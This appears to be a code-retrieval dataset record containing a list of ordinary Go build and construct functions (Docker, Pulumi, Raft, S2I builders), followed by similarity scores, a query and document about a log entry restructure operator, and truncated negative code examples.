append(target.TemplateData, map[string]interface{}{\n\t\t\"volumeName\": resp.GetVolumeName(),\n\t\t\"volumeClaimName\": resp.GetVolumeClaimName(),\n\t\t\"volumePath\": resp.GetVolumePath(),\n\t\t\"mountPath\": mountPath,\n\t\t\"subPath\": resp.GetSubPath(),\n\t\t\"nodeName\": resp.GetNodeName(),\n\t\t\"path\": filepath.Join(mountPath, resp.GetLocalPath()),\n\t\t\"base\": filepath.Base(resp.GetLocalPath()),\n\t\t\"dir\": filepath.Dir(resp.GetLocalPath()),\n\t})\n\n\treturn nil\n}", "func (c Config) Build(opts ...zap.Option) (l *zap.Logger, err error) {\n\tvar zc zap.Config\n\tzc, err = c.NewZapConfig()\n\tif err == nil {\n\t\tl, err = zc.Build(opts...)\n\t}\n\n\treturn\n}", "func (b *Builder) Build(ctx context.Context) (gapir.Payload, PostDataHandler, NotificationHandler, FenceReadyRequestCallback, error) {\n\tctx = status.Start(ctx, \"Build\")\n\tdefer status.Finish(ctx)\n\tctx = log.Enter(ctx, \"Build\")\n\n\tif config.DebugReplayBuilder {\n\t\tlog.I(ctx, \"Instruction count: %d\", len(b.instructions))\n\t\tb.assertResourceSizesAreAsExpected(ctx)\n\t}\n\n\tbyteOrder := b.memoryLayout.GetEndian()\n\n\topcodes := &bytes.Buffer{}\n\tw := endian.Writer(opcodes, byteOrder)\n\tid := uint32(0)\n\n\tvml := b.layoutVolatileMemory(ctx, w)\n\n\tfor index, i := range b.instructions {\n\t\tif (index%10000 == 9999) || (index == len(b.instructions)-1) {\n\t\t\tstatus.UpdateProgress(ctx, uint64(index), uint64(len(b.instructions)))\n\t\t}\n\t\tif label, ok := i.(asm.Label); ok {\n\t\t\tid = label.Value\n\t\t}\n\t\tif err := i.Encode(vml, w); err != nil {\n\t\t\terr = fmt.Errorf(\"Encode %T failed for command with id %v: %v\", i, id, err)\n\t\t\treturn gapir.Payload{}, nil, nil, nil, err\n\t\t}\n\t}\n\n\tpayload := gapir.Payload{\n\t\tStackSize: uint32(512), // TODO: Calculate stack size\n\t\tVolatileMemorySize: uint32(vml.size),\n\t\tConstants: b.constantMemory.data,\n\t\tResources: b.resources,\n\t\tOpcodes: opcodes.Bytes(),\n\t}\n\tb.volatileSpace += vml.size\n\n\tif config.DebugReplayBuilder {\n\t\tlog.E(ctx, \"----------------------------------\")\n\t\tlog.E(ctx, \"Stack size: 0x%x\", payload.StackSize)\n\t\tlog.E(ctx, \"Volatile memory size: 0x%x\", payload.VolatileMemorySize)\n\t\tlog.E(ctx, \"Constant memory size: 0x%x\", len(payload.Constants))\n\t\tlog.E(ctx, \"Opcodes size: 0x%x\", len(payload.Opcodes))\n\t\tlog.E(ctx, \"Resource count: %d\", len(payload.Resources))\n\t\tlog.E(ctx, \"Decoder count: %d\", len(b.decoders))\n\t\tlog.E(ctx, \"Readers count: %d\", len(b.notificationReaders))\n\t\tlog.E(ctx, \"----------------------------------\")\n\t}\n\n\t// Make a copy of the reference of the finished decoder list to cut off the\n\t// connection between the builder and furture uses of the decoders so that\n\t// the builder do not need to be kept alive when using these decoders.\n\tdecoders := b.decoders\n\thandlePost := func(pd *gapir.PostData) {\n\t\t// TODO: should we skip it instead of return error?\n\t\tctx = log.Enter(ctx, \"PostDataHandler\")\n\t\tif pd == nil {\n\t\t\tlog.E(ctx, \"Cannot handle nil PostData\")\n\t\t}\n\t\tcrash.Go(func() {\n\t\t\tfor _, p := range pd.GetPostDataPieces() {\n\t\t\t\tid := p.GetID()\n\t\t\t\tdata := p.GetData()\n\t\t\t\tif id >= uint64(len(decoders)) {\n\t\t\t\t\tlog.E(ctx, \"No valid decoder found for %v'th post data\", id)\n\t\t\t\t}\n\t\t\t\t// Check that each Postback consumes its expected number of bytes.\n\t\t\t\tvar err error\n\t\t\t\tif len(data) != decoders[id].expectedSize {\n\t\t\t\t\terr = fmt.Errorf(\"%d'th post size mismatch, actual size: %d, expected size: %d\", id, len(data), decoders[id].expectedSize)\n\t\t\t\t}\n\t\t\t\tr := endian.Reader(bytes.NewReader(data), byteOrder)\n\t\t\t\tdecoders[id].decode(r, err)\n\t\t\t}\n\t\t})\n\t}\n\n\t// Make a copy of the reference of the finished notification reader map to\n\t// cut off the connection between the builder and future uses of the readers\n\t// so that the builder do not need to be kept alive when using these readers.\n\treaders := b.notificationReaders\n\thandleNotification := func(n *gapir.Notification) {\n\t\tif n == nil {\n\t\t\tlog.E(ctx, \"Cannot handle nil Notification\")\n\t\t\treturn\n\t\t}\n\t\tcrash.Go(func() {\n\t\t\tid := n.GetId()\n\t\t\tif r, ok := readers[id]; ok {\n\t\t\t\tr(*n)\n\t\t\t} else {\n\t\t\t\tlog.W(ctx, \"Unknown notification received, ID is %d: %v\", id, n)\n\t\t\t}\n\t\t})\n\t}\n\n\tcallbacks := b.fenceReadyCallbacks\n\tfenceReadyCallback := func(n *gapir.FenceReadyRequest) {\n\t\tif n == nil {\n\t\t\tlog.E(ctx, \"Cannot handle nil FenceReadyRequest\")\n\t\t\treturn\n\t\t}\n\t\tid := n.GetId()\n\t\tif r, ok := callbacks[id]; ok {\n\t\t\tr(n)\n\t\t} else {\n\t\t\tlog.W(ctx, \"Unknown fence ready received, ID is %d: %v\", id, n)\n\t\t}\n\t}\n\n\treturn payload, handlePost, handleNotification, fenceReadyCallback, nil\n}", "func (workflow *Workflow) Build(\n\tlayerDir, whiteoutSpec, parentBootstrapPath, bootstrapPath string,\n) (string, error) {\n\tworkflow.bootstrapPath = bootstrapPath\n\n\tif parentBootstrapPath != \"\" {\n\t\tworkflow.parentBootstrapPath = parentBootstrapPath\n\t}\n\n\tif err := workflow.builder.Run(BuilderOption{\n\t\tParentBootstrapPath: workflow.parentBootstrapPath,\n\t\tBootstrapPath: workflow.bootstrapPath,\n\t\tRootfsPath: layerDir,\n\t\tBackendType: \"localfs\",\n\t\tBackendConfig: workflow.backendConfig,\n\t\tPrefetchDir: workflow.PrefetchDir,\n\t\tWhiteoutSpec: whiteoutSpec,\n\t\tOutputJSONPath: workflow.debugJSONPath,\n\t}); err != nil {\n\t\treturn \"\", errors.Wrap(err, fmt.Sprintf(\"build layer %s\", layerDir))\n\t}\n\n\tworkflow.parentBootstrapPath = workflow.bootstrapPath\n\n\tblobPath, err := workflow.getLatestBlobPath()\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"get latest blob\")\n\t}\n\n\treturn blobPath, nil\n}", "func exprBuild(eb expression.Builder) (expr expression.Expression, err error) {\n\texpr, err = eb.Build()\n\tvar uperr expression.UnsetParameterError\n\tif errors.As(err, &uperr) && strings.Contains(uperr.Error(), \"Builder\") {\n\t\t// a zero builder as an argument is fine, so we don't report this\n\t\t// error to the user.\n\t} else if err != nil {\n\t\treturn expr, fmt.Errorf(\"failed to build expression: %T\", err)\n\t}\n\n\treturn expr, nil\n}", "func BuildFromTemplate(yamlTemplate string, values interface{}) (*batchv1.Job, error) {\n\tyaml, err := api.ProcessTemplate(yamlTemplate, values)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn Deserialize(yaml)\n}", "func (Map) Build(vt ValueType, from, to string) *Map {\n\treturn &Map{\n\t\tType: vt,\n\t\tFrom: strings.Split(from, \".\"),\n\t\tTo: strings.Split(to, \".\"),\n\t}\n}", "func BuildImageFromConfig(c *Config) (string, error) {\n\tctx := context.Background()\n\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// build a complete Dockerfile from the template with the config\n\t// create build context from the dockerfile with some settings, create a tar from it\n\ttmpDir, err := ioutil.TempDir(os.TempDir(), \"d2b-imagedir\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// create \"${tmpDir}/tree\" for files in c.Files\n\t// and in dockerfile they will be copied over using COPY tree/ /\n\tgenerateFilesIfAny(c, path.Join(tmpDir, \"tree\"))\n\n\tdockerfileContent := generateDockerfileContent(c)\n\tlog.Printf(\"[info] dockerfile content is %s\\n\", dockerfileContent)\n\n\tdockerfile, err := os.Create(path.Join(tmpDir, \"Dockerfile\"))\n\tif err != nil {\n\t\tlog.Fatalf(\"Fail to create a Dockerfile %s\\n\", err)\n\t}\n\n\tif _, err := dockerfile.Write([]byte(dockerfileContent)); err != nil {\n\t\tlog.Fatalf(\"Fail to write files %s\\n\", err)\n\t}\n\n\tlog.Printf(\"[info] build image from %s\\n\", tmpDir)\n\n\tbuildContext, err := archive.TarWithOptions(tmpDir, &archive.TarOptions{})\n\tif err != nil {\n\t\tlog.Fatalf(\"Fail to write files %s\\n\", err)\n\t}\n\n\t// this will return additional information as:\n\t//{\"aux\":{\"ID\":\"sha256:818c2f5454779e15fa173b517a6152ef73dd0b6e3a93262271101c5f4320d465\"}}\n\tout := []types.ImageBuildOutput{\n\t\t{\n\t\t\tType: \"string\",\n\t\t\tAttrs: map[string]string{\n\t\t\t\t\"ID\": \"ID\",\n\t\t\t},\n\t\t},\n\t}\n\n\tresp, err := cli.ImageBuild(ctx, buildContext, types.ImageBuildOptions{Outputs: out})\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to build image %s\\n\", err)\n\t}\n\n\tvar imageId string\n\tdefer resp.Body.Close()\n\tscanner := bufio.NewScanner(resp.Body)\n\tfor scanner.Scan() {\n\t\tmessage := scanner.Text()\n\t\t// TODO: turn it on\n\t\tlog.Println(message)\n\t\tif strings.Contains(message, \"errorDetail\") {\n\t\t\treturn \"\", fmt.Errorf(\"Faild to create image %s\", message)\n\t\t}\n\n\t\t// we didn't enable only ID so expect only one entry with \"aux\"\n\t\tif strings.Contains(message, \"aux\") {\n\t\t\tid := ResultImageID{}\n\t\t\tif err := json.Unmarshal([]byte(message), &id); err != nil {\n\t\t\t\tlog.Fatalf(\"Failt to get the image id %s\\n\", err)\n\t\t\t}\n\t\t\timageId = id.Aux.ID\n\t\t\tlog.Printf(\"[Info] image id %s\\n\", imageId)\n\t\t}\n\t}\n\n\tif imageId == \"\" {\n\t\treturn \"\", fmt.Errorf(\"Faild to create image - no image id genereated, enable debug to see docker build output\")\n\t}\n\n\treturn imageId, nil\n}", "func BuildArborescence() {\n\tvar data = filesystemhelper.OpenFile(\"./configs/\" + language + \".json\")\n\tfilesystemhelper.CreateDirectory(name)\n\tos.Chdir(name)\n\tnewDir, err := os.Getwd()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t\tos.Exit(1)\n\t}\n\tfmt.Println(newDir + \" directory created\")\n\n\tvar config jsonparser.Config\n\tjsonparser.ParseConfig([]byte(data), &config)\n\n\tfilesystemhelper.BuildProjectDirectories(config.Directories)\n\tfilesystemhelper.CreateProjectFiles(config.Files)\n\tfilesystemhelper.LaunchCommands(config.Commands)\n}", "func (r *Rest) Build(name string) *Rest {\n\tr.endpoints[name] = r.tmp\n\tr.tmp = RestEndPoint{}\n\treturn r\n}", "func (s *STIBuilder) Build() error {\n\tvar push bool\n\n\t// if there is no output target, set one up so the docker build logic\n\t// (which requires a tag) will still work, but we won't push it at the end.\n\tif s.build.Spec.Output.To == nil || len(s.build.Spec.Output.To.Name) == 0 {\n\t\ts.build.Spec.Output.To = &kapi.ObjectReference{\n\t\t\tKind: \"DockerImage\",\n\t\t\tName: noOutputDefaultTag,\n\t\t}\n\t\tpush = false\n\t} else {\n\t\tpush = true\n\t}\n\ttag := s.build.Spec.Output.To.Name\n\n\tconfig := &stiapi.Config{\n\t\tBuilderImage: s.build.Spec.Strategy.SourceStrategy.From.Name,\n\t\tDockerConfig: &stiapi.DockerConfig{Endpoint: s.dockerSocket},\n\t\tSource: s.build.Spec.Source.Git.URI,\n\t\tContextDir: s.build.Spec.Source.ContextDir,\n\t\tDockerCfgPath: os.Getenv(dockercfg.PullAuthType),\n\t\tTag: tag,\n\t\tScriptsURL: s.build.Spec.Strategy.SourceStrategy.Scripts,\n\t\tEnvironment: buildEnvVars(s.build),\n\t\tLabelNamespace: api.DefaultDockerLabelNamespace,\n\t\tIncremental: s.build.Spec.Strategy.SourceStrategy.Incremental,\n\t\tForcePull: s.build.Spec.Strategy.SourceStrategy.ForcePull,\n\t}\n\tif s.build.Spec.Revision != nil && s.build.Spec.Revision.Git != nil &&\n\t\ts.build.Spec.Revision.Git.Commit != \"\" {\n\t\tconfig.Ref = s.build.Spec.Revision.Git.Commit\n\t} else if s.build.Spec.Source.Git.Ref != \"\" {\n\t\tconfig.Ref = s.build.Spec.Source.Git.Ref\n\t}\n\n\tallowedUIDs := os.Getenv(\"ALLOWED_UIDS\")\n\tglog.V(2).Infof(\"The value of ALLOWED_UIDS is [%s]\", allowedUIDs)\n\tif len(allowedUIDs) > 0 {\n\t\terr := config.AllowedUIDs.Set(allowedUIDs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif errs := s.configValidator.ValidateConfig(config); len(errs) != 0 {\n\t\tvar buffer bytes.Buffer\n\t\tfor _, ve := range errs {\n\t\t\tbuffer.WriteString(ve.Error())\n\t\t\tbuffer.WriteString(\", \")\n\t\t}\n\t\treturn errors.New(buffer.String())\n\t}\n\n\t// If DockerCfgPath is provided in api.Config, then attempt to read the the\n\t// dockercfg file and get the authentication for pulling the builder image.\n\tconfig.PullAuthentication, _ = dockercfg.NewHelper().GetDockerAuth(config.BuilderImage, dockercfg.PullAuthType)\n\tconfig.IncrementalAuthentication, _ = dockercfg.NewHelper().GetDockerAuth(tag, dockercfg.PushAuthType)\n\n\tglog.V(2).Infof(\"Creating a new S2I builder with build config: %#v\\n\", describe.DescribeConfig(config))\n\tbuilder, err := s.builderFactory.GetStrategy(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tglog.V(4).Infof(\"Starting S2I build from %s/%s BuildConfig ...\", s.build.Namespace, s.build.Name)\n\n\t// Set the HTTP and HTTPS proxies to be used by the S2I build.\n\toriginalProxies := setHTTPProxy(s.build.Spec.Source.Git.HTTPProxy, s.build.Spec.Source.Git.HTTPSProxy)\n\n\tif _, err = builder.Build(config); err != nil {\n\t\treturn err\n\t}\n\n\t// Reset proxies back to their original value.\n\tresetHTTPProxy(originalProxies)\n\n\tif push {\n\t\t// Get the Docker push authentication\n\t\tpushAuthConfig, authPresent := dockercfg.NewHelper().GetDockerAuth(\n\t\t\ttag,\n\t\t\tdockercfg.PushAuthType,\n\t\t)\n\t\tif authPresent {\n\t\t\tglog.Infof(\"Using provided push secret for pushing %s image\", tag)\n\t\t} else {\n\t\t\tglog.Infof(\"No push secret provided\")\n\t\t}\n\t\tglog.Infof(\"Pushing %s image ...\", tag)\n\t\tif err := pushImage(s.dockerClient, tag, pushAuthConfig); err != nil {\n\t\t\t// write extended error message to assist in problem resolution\n\t\t\tmsg := fmt.Sprintf(\"Failed to push image. Response from registry is: %v\", err)\n\t\t\tif authPresent {\n\t\t\t\tglog.Infof(\"Registry server Address: %s\", pushAuthConfig.ServerAddress)\n\t\t\t\tglog.Infof(\"Registry server User Name: %s\", pushAuthConfig.Username)\n\t\t\t\tglog.Infof(\"Registry server Email: %s\", pushAuthConfig.Email)\n\t\t\t\tpasswordPresent := \"<<empty>>\"\n\t\t\t\tif len(pushAuthConfig.Password) > 0 {\n\t\t\t\t\tpasswordPresent = \"<<non-empty>>\"\n\t\t\t\t}\n\t\t\t\tglog.Infof(\"Registry server Password: %s\", passwordPresent)\n\t\t\t}\n\t\t\treturn errors.New(msg)\n\t\t}\n\t\tglog.Infof(\"Successfully pushed %s\", tag)\n\t\tglog.Flush()\n\t}\n\treturn nil\n}", "func buildStack(op string) (result *Stack) {\n\t// initialize result\n\tresult = &Stack{[]float64{}, 0}\n\n\t// \"bracketize\":\n\t// a*b*c -> (a*b)*c\n\ti := -1\n\tfor i != 0 {\n\t\ti = getOperandIndex(op)\n\n\t\tleftVal := suffixValueRegex.FindString(op[:i])\n\t\trightVal := prefixValueRegex.FindString(op[i+1:])\n\n\t\tif len(leftVal) > 0 && len(rightVal) > 0 {\n\t\t\t// append brackets\n\t\t\top = op[:i-len(leftVal)] + \"(\" +\n\t\t\t\top[i-len(leftVal):i+len(rightVal)+1] + \")\" +\n\t\t\t\top[i+len(rightVal)+1:]\n\t\t}\n\t}\n\n\t// get rid of outer brackets\n\t// while the first bracket matches the last index\n\tfor getMatchingBracketIndex(op, 0) == len(op)-1 && len(op) > 2 {\n\t\top = op[1 : len(op)-1]\n\t}\n\n\t// evaluate operation\n\ti = getOperandIndex(op)\n\n\tleftVal := suffixValueRegex.FindString(op[:i])\n\trightVal := prefixValueRegex.FindString(op[i+1:])\n\n\tresult.Push(evalValue(leftVal))\n\tresult.Push(evalValue(rightVal))\n\n\tresult.PerformOperation([]rune(op)[i])\n\n\treturn\n}", "func New(c Config, storageFuns ...qmstorage.StorageTypeNewFunc) (*Operator, error) {\n\tcfg, err := newClusterConfig(c.Host, c.Kubeconfig, c.TLSInsecure, &c.TLSConfig)\n\tif err != nil {\n\t\treturn nil, logger.Err(err)\n\t}\n\tclient, err := kubernetes.NewForConfig(cfg)\n\tif err != nil {\n\t\treturn nil, logger.Err(err)\n\t}\n\n\trclient, err := NewQuartermasterRESTClient(*cfg)\n\tif err != nil {\n\t\treturn nil, logger.Err(err)\n\t}\n\n\t// Initialize storage plugins\n\tstorageSystems := make(map[spec.StorageTypeIdentifier]qmstorage.StorageType)\n\tfor _, newStorage := range storageFuns {\n\n\t\t// New\n\t\tst, err := newStorage(client, rclient)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Save object\n\t\tstorageSystems[st.Type()] = st\n\n\t\tlogger.Info(\"storage driver %v loaded\", st.Type())\n\t}\n\n\treturn &Operator{\n\t\tkclient: client,\n\t\trclient: rclient,\n\t\tqueue: newQueue(200),\n\t\thost: cfg.Host,\n\t\tstorageSystems: storageSystems,\n\t}, nil\n}", "func construct(ctx context.Context, req *pulumirpc.ConstructRequest, engineConn *grpc.ClientConn,\n\tconstructF constructFunc) (*pulumirpc.ConstructResponse, error) {\n\n\t// Configure the RunInfo.\n\trunInfo := RunInfo{\n\t\tProject: req.GetProject(),\n\t\tStack: req.GetStack(),\n\t\tConfig: req.GetConfig(),\n\t\tConfigSecretKeys: req.GetConfigSecretKeys(),\n\t\tParallel: int(req.GetParallel()),\n\t\tDryRun: req.GetDryRun(),\n\t\tMonitorAddr: req.GetMonitorEndpoint(),\n\t\tengineConn: engineConn,\n\t}\n\tpulumiCtx, err := NewContext(ctx, runInfo)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"constructing run context\")\n\t}\n\n\t// Deserialize the inputs and apply appropriate dependencies.\n\tinputDependencies := req.GetInputDependencies()\n\tdeserializedInputs, err := plugin.UnmarshalProperties(\n\t\treq.GetInputs(),\n\t\tplugin.MarshalOptions{KeepSecrets: true, KeepResources: true, KeepUnknowns: req.GetDryRun()},\n\t)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unmarshaling inputs\")\n\t}\n\tinputs := make(map[string]interface{}, len(deserializedInputs))\n\tfor key, value := range deserializedInputs {\n\t\tk := string(key)\n\t\tvar deps []Resource\n\t\tif inputDeps, ok := inputDependencies[k]; ok {\n\t\t\tdeps = make([]Resource, len(inputDeps.GetUrns()))\n\t\t\tfor i, depURN := range inputDeps.GetUrns() {\n\t\t\t\tdeps[i] = pulumiCtx.newDependencyResource(URN(depURN))\n\t\t\t}\n\t\t}\n\n\t\tinputs[k] = &constructInput{\n\t\t\tvalue: value,\n\t\t\tdeps: deps,\n\t\t}\n\t}\n\n\t// Rebuild the resource options.\n\taliases := make([]Alias, len(req.GetAliases()))\n\tfor i, urn := range req.GetAliases() {\n\t\taliases[i] = Alias{URN: URN(urn)}\n\t}\n\tdependencyURNs := urnSet{}\n\tfor _, urn := range req.GetDependencies() {\n\t\tdependencyURNs.add(URN(urn))\n\t}\n\tproviders := make(map[string]ProviderResource, len(req.GetProviders()))\n\tfor pkg, ref := range req.GetProviders() {\n\t\tresource, err := createProviderResource(pulumiCtx, ref)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tproviders[pkg] = resource\n\t}\n\tvar parent Resource\n\tif req.GetParent() != \"\" {\n\t\tparent = pulumiCtx.newDependencyResource(URN(req.GetParent()))\n\t}\n\topts := resourceOption(func(ro *resourceOptions) {\n\t\tro.Aliases = aliases\n\t\tro.DependsOn = []func(ctx context.Context) (urnSet, error){\n\t\t\tfunc(ctx context.Context) (urnSet, error) {\n\t\t\t\treturn dependencyURNs, nil\n\t\t\t},\n\t\t}\n\t\tro.Protect = req.GetProtect()\n\t\tro.Providers = providers\n\t\tro.Parent = parent\n\t})\n\n\turn, state, err := constructF(pulumiCtx, req.GetType(), req.GetName(), inputs, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Wait for async work to finish.\n\tif err = pulumiCtx.wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\trpcURN, _, _, err := urn.ToURNOutput().awaitURN(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Serialize all state properties, first by awaiting them, and then marshaling them to the requisite gRPC values.\n\tresolvedProps, propertyDeps, _, err := marshalInputs(state)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshaling properties\")\n\t}\n\n\t// Marshal all properties for the RPC call.\n\tkeepUnknowns := req.GetDryRun()\n\trpcProps, err := plugin.MarshalProperties(\n\t\tresolvedProps,\n\t\tplugin.MarshalOptions{KeepSecrets: true, KeepUnknowns: keepUnknowns, KeepResources: pulumiCtx.keepResources})\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshaling properties\")\n\t}\n\n\t// Convert the property dependencies map for RPC and remove duplicates.\n\trpcPropertyDeps := make(map[string]*pulumirpc.ConstructResponse_PropertyDependencies)\n\tfor k, deps := range propertyDeps {\n\t\tsort.Slice(deps, func(i, j int) bool { return deps[i] < deps[j] })\n\n\t\turns := make([]string, 0, len(deps))\n\t\tfor i, d := range deps {\n\t\t\tif i > 0 && urns[i-1] == string(d) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\turns = append(urns, string(d))\n\t\t}\n\n\t\trpcPropertyDeps[k] = &pulumirpc.ConstructResponse_PropertyDependencies{\n\t\t\tUrns: urns,\n\t\t}\n\t}\n\n\treturn &pulumirpc.ConstructResponse{\n\t\tUrn: string(rpcURN),\n\t\tState: rpcProps,\n\t\tStateDependencies: rpcPropertyDeps,\n\t}, nil\n}", "func (self *RRSMNode) Build(addr string, initState RRSMState, configuration *RRSMConfig,\n\tRPCListenPort string, electionTimeout time.Duration, heartbeatInterval time.Duration) error {\n\tself.InitState = initState\n\tself.CurrentState = initState\n\tself.nodes = make(map[string]*rpc.RPCClient)\n\tself.addr = addr\n\n\t// init timer\n\tself.electionTimeoutTicker = nil\n\tself.electionTimeout = electionTimeout\n\tself.heartbeatTimeTicker = nil\n\tself.heartbeatInterval = heartbeatInterval\n\n\t// become a follower at the beginning\n\tself.character = RaftFOLLOWER\n\tself.currentTerm = uint64(0)\n\tself.haveVoted = false\n\n\t// init channels\n\tself.newTermChan = make(chan int, 1)\n\tself.accessLeaderChan = make(chan int, 1)\n\n\t// init lock\n\tself.termChangingLock = &sync.Mutex{}\n\tself.leaderChangingLock = &sync.Mutex{}\n\n\t// init node configuration\n\tif configuration == nil {\n\t\treturn fmt.Errorf(\"configuration is needed!\")\n\t}\n\tif len(configuration.Nodes) <= 0 {\n\t\treturn fmt.Errorf(\"config err: amounts of nodes needed to be a positive number!\")\n\t}\n\tself.config = *configuration\n\tself.amountsOfNodes = uint32(len(self.config.Nodes))\n\n\t// register rpc service\n\traftRPC := RaftRPC{\n\t\tnode: self,\n\t}\n\terr := rpc.RPCRegister(RPCListenPort, &raftRPC)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// build rpc connection with other nodes\n\tfor _, node := range self.config.Nodes {\n\t\tif node != addr {\n\t\t\tclient, err := rpc.RPCConnect(node)\n\t\t\tif err != nil {\n\t\t\t\t// need to connect with all the nodes at the period of building\n\t\t\t\treturn err\n\t\t\t} else {\n\t\t\t\tself.nodes[node] = client\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (b *Builder) build(indexes []uint32) (*Condition, error) {\n\telems := make([]elementary, len(indexes))\n\tfor i, elemIdx := range indexes {\n\t\tvar err error\n\t\tif elems[i], err = b.elementary(elemIdx); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn &Condition{conds: elems}, nil\n}" ]
[ "0.67890686", "0.675729", "0.6552596", "0.62574846", "0.6251614", "0.5965078", "0.56590545", "0.5636119", "0.55867654", "0.5464503", "0.54049456", "0.5382124", "0.5356407", "0.52260363", "0.5212614", "0.5200235", "0.5198311", "0.5180501", "0.51741576", "0.5123192", "0.5118552", "0.50887775", "0.50477713", "0.5043876", "0.5029759", "0.4995956", "0.49899223", "0.4982867", "0.49569562", "0.4945067", "0.48850018", "0.48574743", "0.4855921", "0.48453346", "0.48449725", "0.48224187", "0.48208922", "0.4812112", "0.47920153", "0.47851965", "0.4781098", "0.4772445", "0.47692585", "0.47492462", "0.47343206", "0.47208208", "0.4704118", "0.47023317", "0.46980822", "0.46944556", "0.46924344", "0.46912348", "0.46778402", "0.46730214", "0.46701312", "0.46673602", "0.46615642", "0.46484962", "0.46439195", "0.4613789", "0.46106535", "0.46024984", "0.46018648", "0.45999297", "0.4589715", "0.45818162", "0.45652112", "0.45484102", "0.4545197", "0.45371774", "0.4536263", "0.45333612", "0.45324725", "0.4532046", "0.45222753", "0.45211637", "0.45093822", "0.4509303", "0.4502691", "0.44843882", "0.4473535", "0.4466785", "0.44616735", "0.44612405", "0.44442576", "0.44428355", "0.44359422", "0.4435191", "0.4434761", "0.44340965", "0.44291085", "0.44289568", "0.44275147", "0.44247156", "0.44236597", "0.44167978", "0.4410633", "0.43977985", "0.43922198", "0.4390813" ]
0.7637313
0
Process will process an entry with a restructure transformation.
func (p *RestructureOperator) Process(ctx context.Context, entry *entry.Entry) error { return p.ProcessWith(ctx, entry, p.Transform) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (p *RestructureOperator) Transform(entry *entry.Entry) error {\n\tfor _, op := range p.ops {\n\t\terr := op.Apply(entry)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func processEntry(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\n\n\n\n\t// Process the entry\n\tswitch theEntry.Tag {\n\t\tcase dwarf.TagCompileUnit:\tprocessCompileUnit(theReader, depth, theEntry);\n\t\tcase dwarf.TagSubprogram:\tprocessSubprogram( theReader, depth, theEntry);\n\t\tdefault:\n\t\t\tif (theEntry.Children) {\n\t\t\t\tprocessChildren(theReader, depth+1, true);\n\t\t\t}\n\t\t}\n}", "func (r *Parser) Process(ctx context.Context, e *entry.Entry) error {\n\tparse := r.parse\n\n\t// If we have a headerAttribute set we need to dynamically generate our parser function\n\tif r.headerAttribute != \"\" {\n\t\th, ok := e.Attributes[r.headerAttribute]\n\t\tif !ok {\n\t\t\terr := fmt.Errorf(\"failed to read dynamic header attribute %s\", r.headerAttribute)\n\t\t\tr.Error(err)\n\t\t\treturn err\n\t\t}\n\t\theaderString, ok := h.(string)\n\t\tif !ok {\n\t\t\terr := fmt.Errorf(\"header is expected to be a string but is %T\", h)\n\t\t\tr.Error(err)\n\t\t\treturn err\n\t\t}\n\t\theaders := strings.Split(headerString, string([]rune{r.headerDelimiter}))\n\t\tparse = generateParseFunc(headers, r.fieldDelimiter, r.lazyQuotes, r.ignoreQuotes)\n\t}\n\n\treturn r.ParserOperator.ProcessWith(ctx, e, parse)\n}", "func (p *Pipeline) Process(labels model.LabelSet, extracted map[string]interface{}, ts *time.Time, entry *string) {\n\tstart := time.Now()\n\n\t// Initialize the extracted map with the initial labels (ie. \"filename\"),\n\t// so that stages can operate on initial labels too\n\tfor labelName, labelValue := range labels {\n\t\textracted[string(labelName)] = string(labelValue)\n\t}\n\n\tfor i, stage := range p.stages {\n\t\tif Debug {\n\t\t\tlevel.Debug(p.logger).Log(\"msg\", \"processing pipeline\", \"stage\", i, \"name\", stage.Name(), \"labels\", labels, \"time\", ts, \"entry\", entry)\n\t\t}\n\t\tstage.Process(labels, extracted, ts, entry)\n\t}\n\tdur := time.Since(start).Seconds()\n\tif Debug {\n\t\tlevel.Debug(p.logger).Log(\"msg\", \"finished processing log line\", \"labels\", labels, \"time\", ts, \"entry\", entry, \"duration_s\", dur)\n\t}\n\tif p.jobName != nil {\n\t\tp.plDuration.WithLabelValues(*p.jobName).Observe(dur)\n\t}\n}", "func (u *Parser) Process(ctx context.Context, entry *entry.Entry) error {\n\treturn u.ParserOperator.ProcessWith(ctx, entry, u.parse)\n}", "func Process(v interface{}) error {\n\tif len(os.Args) == 1 {\n\t\treturn nil\n\t}\n\n\tif os.Args[1] == \"-h\" || os.Args[1] == \"--help\" {\n\t\tfmt.Print(display(os.Args[0], v))\n\t\treturn ErrHelp\n\t}\n\n\targs, err := parse(\"\", v)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := apply(os.Args, args); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (o *StdoutOperator) Process(ctx context.Context, entry *entry.Entry) error {\n\to.mux.Lock()\n\terr := o.encoder.Encode(entry)\n\tif err != nil {\n\t\to.mux.Unlock()\n\t\to.Errorf(\"Failed to process entry: %s, $s\", err, entry.Record)\n\t\treturn err\n\t}\n\to.mux.Unlock()\n\treturn nil\n}", "func (h *Handler) Process(ctx context.Context, object *unstructured.Unstructured) error {\n\th.mu.Lock()\n\tdefer h.mu.Unlock()\n\n\taccessor, err := meta.Accessor(object)\n\tif err != nil 